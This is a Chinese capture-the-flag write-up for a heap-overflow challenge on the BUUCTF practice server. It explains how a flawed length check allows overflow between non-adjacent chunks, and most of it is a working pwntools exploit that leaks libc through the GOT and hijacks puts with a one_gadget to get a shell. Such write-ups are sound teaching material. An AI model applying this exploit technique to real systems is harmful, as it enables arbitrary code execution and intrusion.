例行检查
分析程序,注意到在输入内容的时候,输入限制是这样的。
if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
意思是上一块的chunk的数据开始加上输入字符串的长度,不能超过下一个chunk的size字段。这个check在两个chunk相邻时是有效的,但是如果两个chunk不相邻时就会有问题,会造成堆溢出。
步骤
1.创建两个note(4个chunk)
2.free掉第一个note,2个chunk会合并。
3.创建大小为第一个note两个chunk之和,这样这个note两个chunk就会被第二个note隔开,于是可以溢出到第二个note。
4.gothijack
from pwn import *
io=remote('node3.buuoj.cn',27159)
def add(size,name,len,data):
io.recvuntil('Action: ')
io.sendline('0')
io.recvuntil('description: ')
io.sendline(str(size))
io.recvuntil('name: ')
io.sendline(name)
io.recvuntil('length: ')
io.sendline(str(len))
io.recvuntil('text: ')
io.sendline(data)
def free(idx):
io.recvuntil('Action: ')
io.sendline('1')
io.recvuntil('index: ')
io.sendline(str(idx))
def edit(idx,len,data):
io.recvuntil('Action: ')
io.sendline('3')
io.recvuntil('index: ')
io.sendline(str(idx))
io.recvuntil('length: ')
io.sendline(str(len))
io.recvuntil('text: ')
io.sendline(data)
def show(idx):
io.recvuntil('Action: ')
io.sendline('2')
io.recvuntil('index: ')
io.sendline(str(idx))
puts_got=0x804B024
add(0x80,'ydh',0x10,'aaaa\n')#0
add(0x10,'ydh',0x10,'bbbb\n')#1
free(0)
add(0x108,'ydh',0x150,'a'*0x124+p32(0x81)+p32(puts_got))
show(1)
io.recvuntil('description: ')
puts_add=u32(io.recv(4))
print(hex(puts_add))
libc_base=puts_add-0x05f140
one_gadget=libc_base+0x3a80c
edit(1,10,p32(one_gadget))
io.interactive()
本文分析了一个程序中关于堆溢出的漏洞,通过创建和释放note来操纵chunk,当两个chunk不相邻时导致堆溢出,并利用此进行gothijack攻击。

452

被折叠的 条评论
为什么被折叠?



